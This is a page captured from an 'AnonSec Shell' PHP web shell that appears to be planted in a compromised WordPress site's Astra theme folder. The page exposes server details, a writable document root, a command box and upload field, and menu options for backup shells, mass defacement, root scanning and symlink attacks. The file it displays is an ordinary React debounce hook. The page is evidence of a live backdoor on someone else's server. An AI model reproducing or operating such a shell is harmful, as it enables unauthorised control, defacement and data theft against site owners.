AnonSec Shell
Server IP : 198.54.125.146  /  Your IP : 3.135.201.139   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business38.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : engixevu ( 716)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/engixevu/smartjobbox.com/wp-content/themes/astra/admin/assets/hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/engixevu/smartjobbox.com/wp-content/themes/astra/admin/assets/hooks/useDebounceEffect.js
import { useEffect } from 'react';
import { debounce } from '@astra-utils/helpers';

/**
 * A hook that wraps a callback function with a debounce effect.
 *
 * This hook is designed to delay the execution of a function until after a specified delay.
 * It's particularly useful for handling events that occur rapidly, such as typing in a text input.
 *
 * @param {Function} callback - The function to debounce.
 * @param {number} delay - The delay in milliseconds before the function is executed.
 * @param {Array} dependencies - An array of dependencies that trigger the effect.
 */
function useDebounceEffect( callback, delay, dependencies ) {
	useEffect( () => {
		const debouncedCallback = debounce( callback, delay );

		debouncedCallback();

		// Cleanup on unmount or when dependencies change.
		return () => debouncedCallback.cancel && debouncedCallback.cancel();
	}, [ callback, delay, ...dependencies ] );
}

export default useDebounceEffect;

Anon7 - 2022
AnonSec Team